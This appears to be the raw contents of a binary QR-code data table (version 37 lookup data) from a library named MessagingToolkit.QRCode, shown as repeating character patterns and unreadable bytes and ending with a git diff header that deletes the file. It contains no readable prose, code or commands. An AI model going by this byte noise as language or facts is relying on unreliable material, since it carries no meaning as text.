RQRQRQRQRQRQRQPOPOPOPONMNMMMMMMNMNMNMNLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787876565656565656565343434344343333321212121212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklkjijijijijijijihghghghggggggghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[ZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMMNMNMNMMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565653434343443434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMMMMMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565653434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565653434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklkjijijijijijijijihghggggghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababa`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565653434343321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!                - - - - - - - - "!"!"!"!"!"!"!"!                - - - - - - - - "!"!"!"!"!"!"!"!                - - - - - - - - "!"!"!"!"!"!"!"!                - - - - - - - - "!"!"!"!"!"!"!"!            - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - "!"!"!"!                - - - - - "!"!"!"!               - - - - - - - - "!"!"!"!             - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - PPOONNMMiijjkkllZZ[[\\]],++**))(55667788llkkjjii==>>??@@ddccbbaa EEFFGGHH\\[[ZZYYMMNNOOPPTTSSRRQQUUVVWWXXLLKKJJII uuvvwwxxggffeedd^__``aab;;::9988nnooppqq33221100""##$$%%vvwwxxyy~~}}||++**))((**++,,--~~wwvvuutt##""!! 22334455oonnmmll::;;<<==XXWWVVUU||}}~~hggffeed - - KKLLMMNNVVUUTTSSSSTTUUVVNNMMLLKK - -[[\\]]^^FFEEDDCCccddeeff>>==<<;;kkllmmnn66554433(())**++LLKKJJIIwwxxyyzzyyxxwwvv%%$$##""00112233qqppoonn8899::;;iihhggff@@AABBCCaa``__^^ - -HHIIJJKKYYXXWWVVPPQQRRSS==<<;;:://001122QPONMMLL aabbccdd@@??>>==iijjkkll88776655 qqrrsstt00//..--%%&&''((yyzz{{||||{{zzyy((''&&%%LLKKJJIImmnnoopp~~}}||{{^^__``aa(''&&%%$99::;;<>??@@AATTSSMMLL dccbbaa`OOPPQQRRRRQQPPOOWWXXYYZZJJIIHHGG __``aabbBBAA@@??gghhiijj::998877ooppqqrr221100//,,--..//HHGGFFEE !!""#{{||}}~~uuttssrr!! 44556677mmllkkjj<<==>>??eeddccbbDDEEFFGG]]\\[[ZZ LLMMNNOOUUTTSSRRTTUUVVWW993322113399::;;KKJJIIHHeeffgghh<<;;::99mmnnoopp44332211!!""##$$uuvvwwxx~~}},,++**))))**++,,}}~~xxwwvvuu$$##""!!HHGGFFEE qqrrssttzzyyxxwwbbccddee~~}}||$##""!! ==>>??@@ddccbbaa EEFFGGHH\\[[ZZYYMMNNOOPPTTSSRRQQUUVVWWXXLLKKJJII - - ]]^^__``DDCCBBAA}}~~__^^]]\\ fgghijkl33221100""##$$%%vvwwxxyy~~}}||++**))((**++,,--~~wwvvuutt##""!! 22334455oonnmmll::;;<<==ggffeeddBBCCDDEEKKJJIIHH!!""##$$`__^^]]\SSTTUUVVNNMMLLKK - -[[\\]]^^FFEEDDCCccddeeff>>==<<;;kkllmmnn66554433 !!""ssttuuvv..--,,++00112233DDCCBBAA#$$%%&&'qqppoonn8899::;;iihhggff@@AABBCCaa``__^^ - -HHIIJJKKYYXXWWVVPPQQRRSSQQPPOONNXXYYZZ[[00//..--<<==>>??GGFFEEDDiijjkkll88776655 qqrrsstt00//..--%%&&''((yyzz{{||||{{zzyy((''&&%%--..//00ttssrrqq DDCCBBAA!!""##$$uuvvwwxxvvuuttss ffggmmnn{{zzyyxx AABBCCDD``__^^]] - - IIJJKKLLXXWWVVUUQQRRSSTTPPOONNMMYYZZ[[\\HHGGFFEE aabbccdd@@??>>== !![[ZZYYXXmmnnoopp//..--,,&&''(())zz{{||}}{{zzyyxx''&&%%$$..//0011ssrrqqpp66778899kkjjiihh>>??@@AAccbbaa`` FFGGHHIIGGFFEEDD%%&&''((\[[ZZYYXWWXXYYZZJJIIHHGG __``aabbBBAA@@??gghhiijj::998877ooppqqrr221100//##$$%%&&wwxxyyzz~~}}||{{**))((''99::;;<<@@??>>=='(())**+mmllkkjj<<==>>??eeddccbbDDEEFFGG]]\\[[ZZ LLMMNNOOUUTTSSRRTTUUVVWWMMLLKKJJ - - \\]]^^__,,++**))@@AABBCCCCBBAA@@mmnnoopp44332211!!""##$$uuvvwwxx~~}},,++**))))**++,,}}~~xxwwvvuu$$##""!!11223344ppoonnmm@@??>>==%%&&''((yyzz{{||rrqqppoo - - - -ooppqqrrwwvvuuttEEFFGGHH\\[[ZZYYMMNNOOPPTTSSRRQQUUVVWWXXLLKKJJII - - ]]^^__``DDCCBBAAeeffgghh<<;;::99""##$$%%WWVVUUTTqqrrsstt~~}}||++**))((**++,,--~~wwvvuutt##""!! 22334455oonnmmll::;;<<==ggffeeddBBCCDDEE__^^]]\\ - - JJKKLLMMCCBBAA@@))**++,,XWWVVUUT - -[[\\]]^^FFEEDDCCccddeeff>>==<<;;kkllmmnn66554433 !!""ssttuuvv..--,,++''(())**{{||}}~~zzyyxxww&&%%$$##==>>??@@<<;;::99+,,--../iihhggff@@AABBCCaa``__^^ - -HHIIJJKKYYXXWWVVPPQQRRSSQQPPOONNXXYYZZ[[IIHHGGFF ``aabbcc((''&&%%DDEEFFGG??>>==<< qqrrsstt00//..--%%&&''((yyzz{{||||{{zzyy((''&&%%--..//00ttssrrqq 55667788llkkjjii<<;;::99))**++,,}}~~nnmmggff ssttuuvvssrrqqppIIJJKKLLXXWWVVUUQQRRSSTTPPOONNMMYYZZ[[\\HHGGFFEE aabbccdd@@??>>==iijjkkll88776655&&''(())SSMMLLKKuuvvwwxx{{zzyyxx''&&%%$$..//0011ssrrqqpp66778899kkjjiihh>>??@@AAccbbaa`` FFGGHHII[[ZZYYXXNNOOPPQQ??>>==<<--..//00TSSRQPON __``aabbBBAA@@??gghhiijj::998877ooppqqrr221100//##$$%%&&wwxxyyzz~~}}||{{**))((''++,,--..vvuuttss""!! AABBCCDD33221100/0011223eeddccbbDDEEFFGG]]\\[[ZZ LLMMNNOOUUTTSSRRTTUUVVWWMMLLKKJJ - - \\]]^^__EEDDCCBBddeeffgg$$##""!!HHIIJJKK;;::9987!!""##$$uuvvwwxx~~}},,++**))))**++,,}}~~xxwwvvuu$$##""!!11223344ppoonnmm99::;;<>==<<;;kkllmmnn66554433 !!""ssttuuvv..--,,++''(())**{{||}}~~zzyyxxww&&%%$$##//001122rrqqppooEEFFGGHH//..--,,34567899aa``__^^ - -HHIIJJKKYYXXWWVVPPQQRRSSQQPPOONNXXYYZZ[[IIHHGGFF ``aabbccAA@@??>>hhiijjkk LLMMSSTT65433221%%&&''((yyzz{{||||{{zzyy((''&&%%--..//00ttssrrqq 55667788llkkjjii==>>??@@ddccbbaa 4433221111223344aa``__^^{{||}}~~jihggffe - -QQRRSSTTPPOONNMMYYZZ[[\\HHGGFFEE aabbccdd@@??>>==iijjkkll88776655 qqrrsstt00//..--..//0011FFEEDDCC!""##$$%}}~~ssrrqqpp66778899kkjjiihh>>??@@AAccbbaa`` FFGGHHII[[ZZYYXXNNOOPPQQSSRRQQPPVVWWXXYY221100//::;;<<==IIHHGGFFgghhiijj::998877ooppqqrr221100//##$$%%&&wwxxyyzz~~}}||{{**))((''++,,--..vvuuttss""!! 33445566nnmmllkkIIJJKKLL++**))((::;;<<==]]\\[[ZZ LLMMNNOOUUTTSSRRTTUUVVWWMMLLKKJJ - - \\]]^^__EEDDCCBBddeeffgg==<<;;::llmmnnoo~~}}||UUVVWWXX100//..-))**++,,}}~~xxwwvvuu$$##""!!11223344ppoonnmm99::;;<>??@@AAEEDDCCBBkkllmmnn66554433 !!""ssttuuvv..--,,++''(())**{{||}}~~zzyyxxww&&%%$$##//001122rrqqppoo778899::jjiihhggMMSSTTUU''&&%%$$>>??@@AAYYXXWWVVPPQQRRSSQQPPOONNXXYYZZ[[IIHHGGFF ``aabbccAA@@??>>hhiijjkk99887766ppqqrrss{{zzyyxxYYZZ[[\\-,,++**)--..//00ttssrrqq 55667788llkkjjii==>>??@@ddccbbaa EEFFGGHH\\[[ZZYY~~}},,++**))99::;;<>==iijjkkll88776655 qqrrsstt00//..--%%&&''((yyzz{{||||{{zzyy((''&&%%;;<<==>>>>==<<;;)**++,,-kkjjiihh>>??@@AAccbbaa`` FFGGHHII[[ZZYYXXNNOOPPQQSSRRQQPPVVWWXXYYKKJJIIHH - - ^^__``aa**))((''BBCCDDEEAA@@??>>ooppqqrr221100//##$$%%&&wwxxyyzz~~}}||{{**))((''++,,--..vvuuttss""!! 33445566nnmmllkk;;<<==>>ffeeddccVVWWXXYY##""!! BBCCDDEEUUTTSSRRTTUUVVWWMMLLKKJJ - - \\]]^^__EEDDCCBBddeeffgg==<<;;::llmmnnoo55443322 !!""##ttuuvvwwwwvvuutt ]]^^__``)((''&&%11223344ppoonnmm99::;;<>??@@UUTTSSMM$$%%&&'']\\[[ZZY - - ]]^^__``DDCCBBAAeeffgghh<<;;::99mmnnoopp44332211!!""##$$uuvvwwxx~~}},,++**))))**++,,}}~~xxwwvvuu$$##""!!??@@AABB::993322-..//001ggffeeddBBCCDDEE__^^]]\\ - - JJKKLLMMWWVVUUTTRRSSTTUUOONNMMLL ZZ[[\\]]GGFFEEDDbbccddee&&%%$$##FFGGHHII==<<;;:: !!""ssttuuvv..--,,++''(())**{{||}}~~zzyyxxww&&%%$$##//001122rrqqppoo778899::jjiihhgg??@@AABBbbaa``__ ZZ[[\\]]FFGGHHIIQQPPOONNXXYYZZ[[IIHHGGFF ``aabbccAA@@??>>hhiijjkk99887766ppqqrrss1100//..$$%%&&''xxyyzz{{ssrrqqpp - - aabbccdd~~}}%$$##""!55667788llkkjjii==>>??@@ddccbbaa EEFFGGHH\\[[ZZYYMMNNOOPPTTSSRRQQxxwwvvuu$$##""!!AABBCCDDLLKKJJII(())**++YXXWWVVU aabbccdd@@??>>==iijjkkll88776655 qqrrsstt00//..--%%&&''((yyzz{{||||{{zzyy((''&&%%--..//00ttssrrqq CCDDEEFF1100//..12233456ccbbaa`` FFGGHHII[[ZZYYXXNNOOPPQQSSRRQQPPVVWWXXYYKKJJIIHH - - ^^__``aaCCBBAA@@ffgghhii""!! JJKKLLMM99876543##$$%%&&wwxxyyzz~~}}||{{**))((''++,,--..vvuuttss""!! 33445566nnmmllkk;;<<==>>ffeeddccCCDDEEFF^^]]\\[[ - - ^^__``aa~~}}||{{JJKKLLMMMMLLKKJJ - - \\]]^^__EEDDCCBBddeeffgg==<<;;::llmmnnoo55443322 !!""##ttuuvvww~~--,,++**(())**++||}}~~oonnmmggeeffggmm||{{zzyy! 99::;;<>==<<jjkkllmm~~SSTTUUVV3221100/''(())**{{||}}~~zzyyxxww&&%%$$##//001122rrqqppoo778899::jjiihhgg??@@AABBbbaa``__ GGHHIIJJZZYYXXWWbbccddeezzyyxxwwNOPQRSSTIIHHGGFF ``aabbccAA@@??>>hhiijjkk99887766ppqqrrss1100//..$$%%&&''xxyyzz{{}}||{{zz))((''&&,,--..//ffeeddcc nnooppqqxxwwvvuu==>>??@@ddccbbaa EEFFGGHH\\[[ZZYYMMNNOOPPTTSSRRQQUUVVWWXXLLKKJJII - - ppoonnmmIIJJKKLLDDCCBBAA00112233ONMMLLKKiijjkkll88776655 qqrrsstt00//..--%%&&''((yyzz{{||||{{zzyy((''&&%%--..//00ttssrrqq 55667788llkkjjiiKKLLMMSS))((''&&<<==>>??[[ZZYYXXNNOOPPQQSSRRQQPPVVWWXXYYKKJJIIHH - - ^^__``aaCCBBAA@@ffgghhii;;::9988nnooppqq}}||{{zzWWXXYYZZ/..--,,+++,,--..vvuuttss""!! 33445566nnmmllkk;;<<==>>ffeeddccCCDDEEFF^^]]\\[[ - - KKLLMMNNVVUUTTSSffggmmnnvvuuttss TUUVVWWXEEDDCCBBddeeffgg==<<;;::llmmnnoo55443322 !!""##ttuuvvww~~--,,++**(())**++||}}~~yyxxwwvv%%$$##""00112233bbaa``__ - - rrssttuuttssrrqqAABBCCDD``__^^]] - - IIJJKKLLXXWWVVUUQQRRSSTTPPOONNMMYYZZ[[\\HHGGFFEE llkkjjiiMMNNOOPP@@??>>==99::;;<>==<<jjkkllmm77665544 !!rrssttuuyyxxwwvv[[\\]]^^+**))(('//001122rrqqppoo778899::jjiihhgg??@@AABBbbaa``__ GGHHIIJJZZYYXXWWOOPPQQRRRRQQPPOO - -ooppqqrrrrqqppoo - - XYYZZ[[\AA@@??>>hhiijjkk99887766ppqqrrss1100//..$$%%&&''xxyyzz{{}}||{{zz))((''&&,,--..//uuttssrr!! 44556677^^]]\\[[vvwwxxyyppoonnmmEEFFGGHH\\[[ZZYYMMNNOOPPTTSSRRQQUUVVWWXXLLKKJJII - - ]]^^__``DDCCBBAAhhggffeeQQRRSSTT<<;;::99==>>??@@FFEEDDCC qqrrsstt00//..--%%&&''((yyzz{{||||{{zzyy((''&&%%--..//00ttssrrqq 55667788llkkjjii==>>??@@ddccbbaa XXYYZZ[[!! DDEEFFGGSSRRQQPPVVWWXXYYKKJJIIHH - - ^^__``aaCCBBAA@@ffgghhii;;::9988nnooppqq33221100""##$$%%vvwwxxyyuuttssrr - -__``aabb'&&%%$$#33445566nnmmllkk;;<<==>>ffeeddccCCDDEEFF^^]]\\[[ - - KKLLMMNNVVUUTTSSSSTTUUVVNNMMLLKK ssttuuvvnnmmggff\]]^^__`==<<;;::llmmnnoo55443322 !!""##ttuuvvww~~--,,++**(())**++||}}~~yyxxwwvv%%$$##""00112233qqppoonn8899::;;ZZYYXXWWzz{{||}}lkjihggf IIJJKKLLXXWWVVUUQQRRSSTTPPOONNMMYYZZ[[\\HHGGFFEE aabbccdd@@??>>==ddccbbaa UUVVWWXX33221100AABBCCDDBBAA@@??!!""##$$uuvvwwxx~~}},,++**))))**++,,}}~~xxwwvvuu$$##""!!11223344ppoonnmm99::;;<>==<<jjkkllmm77665544 !!rrssttuu//..--,,&&''(())zz{{||}}qqppoonn ccddeeff~~}}||{{#""!! 778899::jjiihhgg??@@AABBbbaa``__ GGHHIIJJZZYYXXWWOOPPQQRRRRQQPPOOWWXXYYZZJJIIHHGGwwxxyyzzeeddccbb`aabbccd99887766ppqqrrss1100//..$$%%&&''xxyyzz{{}}||{{zz))((''&&,,--..//uuttssrr!! 44556677mmllkkjj<<==>>??VVUUTTSS~~feeddccb - - MMNNOOPPTTSSRRQQUUVVWWXXLLKKJJII - - ]]^^__``DDCCBBAAeeffgghh<<;;::99``__^^]] - - YYZZ[[\\//..--,,EEFFGGHH>>==<<;;%%&&''((yyzz{{||||{{zzyy((''&&%%--..//00ttssrrqq 55667788llkkjjii==>>??@@ddccbbaa EEFFGGHH\\[[ZZYY``aabbcc||{{zzyyLLMMNOPQKKJJIIHH - - ^^__``aaCCBBAA@@ffgghhii;;::9988nnooppqq33221100""##$$%%vvwwxxyy~~}}||++**))((**++,,--~~mmggffeeggmmnnoozzyyxxww;;<<==>>ffeeddccCCDDEEFF^^]]\\[[ - - KKLLMMNNVVUUTTSSSSTTUUVVNNMMLLKK - -[[\\]]^^FFEEDDCC{{||}}~~aa``__^^ - - deeffggh55443322 !!""##ttuuvvww~~--,,++**(())**++||}}~~yyxxwwvv%%$$##""00112233qqppoonn8899::;;iihhggff@@AABBCCMMLLKKJJ !!""baa``__^QQRRSSTTPPOONNMMYYZZ[[\\HHGGFFEE aabbccdd@@??>>==iijjkkll88776655 --..//00\\[[ZZYY - - ]]^^__``++**))((IIJJKKLL::998765))**++,,}}~~xxwwvvuu$$##""!!11223344ppoonnmm99::;;<>==<<jjkkllmm77665544 !!rrssttuu//..--,,&&''(())zz{{||}}{{zzyyxx''&&%%$$..//0011ddccbbaa - - ppqqrrssvvuuttss??@@AABBbbaa``__ GGHHIIJJZZYYXXWWOOPPQQRRRRQQPPOOWWXXYYZZJJIIHHGG __``aabbBBAA@@??]]\\[[ZZ ijklmmnn1100//..$$%%&&''xxyyzz{{}}||{{zz))((''&&,,--..//uuttssrr!! 44556677mmllkkjj<<==>>??eeddccbbDDEEFFGGIIHHGGFF##$$%%&&^]]\\[[ZUUVVWWXXLLKKJJII - - ]]^^__``DDCCBBAAeeffgghh<<;;::99mmnnoopp44332211!!""##$$11223344XXWWVVUU aabbccdd''&&%%$$MMSSTTUU43322110--..//00ttssrrqq 55667788llkkjjii==>>??@@ddccbbaa EEFFGGHH\\[[ZZYYMMNNOOPPTTSSRRQQmmnnooppttssrrqq - - VWWXXYYZCCBBAA@@ffgghhii;;::9988nnooppqq33221100""##$$%%vvwwxxyy~~}}||++**))((**++,,--~~wwvvuutt##""!! 22334455``__^^]] ttuuvvwwrrqqppooCCDDEEFF^^]]\\[[ - - KKLLMMNNVVUUTTSSSSTTUUVVNNMMLLKK - -[[\\]]^^FFEEDDCCccddeeff>>==<<;; !!""##YYXXWWVVooppqqrr~~--,,++**(())**++||}}~~yyxxwwvv%%$$##""00112233qqppoonn8899::;;iihhggff@@AABBCCaa``__^^ - -HHIIJJKKEEDDCCBB''(())**ZYYXXWWVYYZZ[[\\HHGGFFEE aabbccdd@@??>>==iijjkkll88776655 qqrrsstt00//..--%%&&''((55667788TTSSRRQQeeffgghh##""!! VVWWXXYY0//..--,11223344ppoonnmm99::;;<>==<<jjkkllmm77665544 !!rrssttuu//..--,,&&''(())zz{{||}}{{zzyyxx''&&%%$$..//0011ssrrqqpp66778899\\[[ZZYYxxyyzz{{nnmmlkji GGHHIIJJZZYYXXWWOOPPQQRRRRQQPPOOWWXXYYZZJJIIHHGG __``aabbBBAA@@??gghhiijj::998877$$%%&&''UUTTSSMMssttuuvv}}||{{zz))((''&&,,--..//uuttssrr!! 44556677mmllkkjj<<==>>??eeddccbbDDEEFFGG]]\\[[ZZ LLMMNNOOAA@@??>>++,,--..VUUTTSSR - - ]]^^__``DDCCBBAAeeffgghh<<;;::99mmnnoopp44332211!!""##$$uuvvwwxx~~}},,++**))))**++,,99::;;<<==>>??@@ddccbbaa XXYYZZ[[!! DDEEFFGGSSRRQQPPVVWWXXYYKKJJIIHH - - ^^__``aaCCBBAA@@ffgghhii;;::9988nnooppqqzzyyxxwwbbccddeessrrqqppFFGGHHIIAABBCCDD``__^^]] - - \\]]^^__~~}}HHIIJJKKOONNMMLL ZZ[[\\]]GGFFEEDDbbccddee??>>==<<jjkkllmm77665544 !!rrssttuuvvuuttss ffggmmnnoonnmmllJJKKLLMMEEFFGGHH\\[[ZZYY``aabbcc||{{zzyyLLMMNOPQKKJJIIHH - - ^^__``aaCCBBAA@@ffgghhii;;::9988nnooppqq33221100""##$$%%vvwwxxyyrrqqppoo - - - -ooppqqrrkkjjiihhNNOOPPQQIIJJKKLLXXWWVVUUddeeffggxxwwvvuu RSSTTUUVGGFFEEDDbbccddee??>>==<<jjkkllmm77665544 !!rrssttuu//..--,,&&''(())zz{{||}}nnmmggff ssttuuvvggffeeddRRSSTTUUMMNNOOPPTTSSRRQQmmnnooppttssrrqq - - VWWXXYYZCCBBAA@@ffgghhii;;::9988nnooppqq33221100""##$$%%vvwwxxyy~~}}||++**))((**++,,--~~eeddccbbwwxxyyzzccbbaa`` VVWWXXYYQQRRSSTTPPOONNMM - - qqrrssttppoonnmmZ[[\\]]^??>>==<<jjkkllmm77665544 !!rrssttuu//..--,,&&''(())zz{{||}}{{zzyyxx''&&%%$$..//0011aa``__^^{{||}}~~__^^]]\\ - - ZZ[[\\]]UUVVWWXXLLKKJJII uuvvwwxxggffeedd^__``aab;;::9988nnooppqq33221100""##$$%%vvwwxxyy~~}}||++**))((**++,,--~~wwvvuutt##""!! 22334455]]\\[[ZZ[[ZZYYXX - - ^^__``aaYYZZ[[\\HHGGFFEEyyzz{{||ccbbaa`` - -bccddeef77665544 !!rrssttuu//..--,,&&''(())zz{{||}}{{zzyyxx''&&%%$$..//0011ssrrqqpp66778899YYXXWWVV !!""##WWVVUUTTbbccddee]]^^__``DDCCBBAA}}~~__^^]]\\ fgghijkl33221100""##$$%%vvwwxxyy~~}}||++**))((**++,,--~~wwvvuutt##""!! 22334455oonnmmll::;;<<==UUTTSSMM$$%%&&''SSRRQQPPffgghhiiaabbccdd@@??>>== !![[ZZYYXXmmnnoopp//..--,,&&''(())zz{{||}}{{zzyyxx''&&%%$$..//0011ssrrqqpp66778899kkjjiihh>>??@@AALLKKJJII(())**++OONNMMLLjjkkllmmeeffgghh<<;;::99""##$$%%WWVVUUTTqqrrsstt~~}}||++**))((**++,,--~~wwvvuutt##""!! 22334455oonnmmll::;;<<==ggffeeddBBCCDDEEHHGGFFEE,,--..//KKJJIIHHnnooppqqiijjkkll88776655&&''(())SSMMLLKKuuvvwwxx{{zzyyxx''&&%%$$..//0011ssrrqqpp66778899kkjjiihh>>??@@AAccbbaa`` FFGGHHIIDDCCBBAA00112233GGFFEEDD !!rrssttuummnnoopp44332211**++,,--JJIIHHGG !yyzz{{||wwvvuutt##""!! 22334455oonnmmll::;;<<==ggffeeddBBCCDDEE__^^]]\\ - - JJKKLLMM@@??>>==99::;;<>??@@AAccbbaa`` FFGGHHII[[ZZYYXXNNOOPPQQ<<;;::99==>>??@@??>>==<<&&''(())zz{{||}}uuvvwwxx~~}},,++**))223399::BBAA@@??%&&''(()oonnmmll::;;<<==ggffeeddBBCCDDEE__^^]]\\ - - JJKKLLMMWWVVUUTTRRSSTTUU33221100AABBCCDD;;::9988**++,,--~~yyzz{{||||{{zzyy((''&&%%;;<<==>>>>==<<;;)**++,,-kkjjiihh>>??@@AAccbbaa`` FFGGHHII[[ZZYYXXNNOOPPQQSSRRQQPPVVWWXXYY//..--,,EEFFGGHH77665544..//0011}}~~xxwwvvuu$$##""!!??@@AABB::993322-..//001ggffeeddBBCCDDEE__^^]]\\ - - JJKKLLMMWWVVUUTTRRSSTTUUOONNMMLL ZZ[[\\]]++**))((IIJJKKLL3322110022334455ttssrrqq CCDDEEFF1100//..12233456ccbbaa`` FFGGHHII[[ZZYYXXNNOOPPQQSSRRQQPPVVWWXXYYKKJJIIHH - - ^^__``aa''&&%%$$MMSSTTUU//..--,,66778899ppoonnmmGGHHIIJJ--,,++**7899::;;__^^]]\\ - - JJKKLLMMWWVVUUTTRRSSTTUUOONNMMLL ZZ[[\\]]GGFFEEDDbbccddee##""!! VVWWXXYY~~}}||++**))((::;;<<==llkkjjiiKKLLMMSS))((''&&<<==>>??[[ZZYYXXNNOOPPQQSSRRQQPPVVWWXXYYKKJJIIHH - - ^^__``aaCCBBAA@@ffgghhiiZZ[[\\]]{{zzyyxx''&&%%$$>>??@@AAhhggffeeTTUUVVWW%%$$##""@@AABBCCWWVVUUTTRRSSTTUUOONNMMLL ZZ[[\\]]GGFFEEDDbbccddee??>>==<<jjkkllmm~~}}||{{^^__``aawwvvuutt##""!! BBCCDDEEZHAbZHAb|ZdQb|ZdQbp`fnXbHAZprtAJldrtAH~fH~fr˂pr˂ptlJtlJfpvfpvp˂rp˂rdrtAdtAJH~fH~fr˂pbtltlJfpvfpvXQJ`ےp˂rdrtAJnvpvXnۀ˂pZ˂pZlJtAlJtApvnpvn˂rXQ˂rXQdrtAJdrtAJ~f`~f`˂pZ˂pZlJtAlJtApvnpvn˂rXQ˂rXQJltf`vXfH~ZHAbr˂plJtArlJtArvnXnrXQrXQJrtAJlrtAJlf`vf`v˂pZHA˂pZHAlJtArlJtArvnXvnXrXQJrXQJrtAJlrtAJlfH~nvpے`JXQtJArddQbt璀nXvnXvrXQJ`rXQJ`tAJltAJlf`vXf`vXpZHAbpZHAbJtArdJtArdnXvnXvrXQJ`rXQJ`tAJlJltf`vXfZHAbXQr˂dQbtd|Zf~HfXQJ`ے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fHvpfH`JXQrJXQrbZdQbt~Hf~HfHAZpbHAZpdQZ|dQZ|vpfHvpfHHAbے˂pZۑpJAHH~ㅐfەH~ㅐfۂdrQtdrQtH~fr˂pr˂plJtAdQnXvHfpvrXQJ`AZp˂drtAJdtAJl~f`~fZ˂pZtlJlJtApvnpvn˂rXQ˂rXQdrtAJdrtAJ~f`~f``pZHAHAXQrr󙐂ˁ``vXn`vXnJltJlt`vXnZHAbZHAbbtl`f~nXvےbHArQJltbtbnvXnHAbےHAbےtAd|rd|Xv`fXv`fJ`ےJ`ےltbltbvXnvXnbے`˂pZHAZQXb㉀vˍpfvˍpfbAdZ|bAdZ| \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv37_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv37_2.dat deleted file mode 100644 index 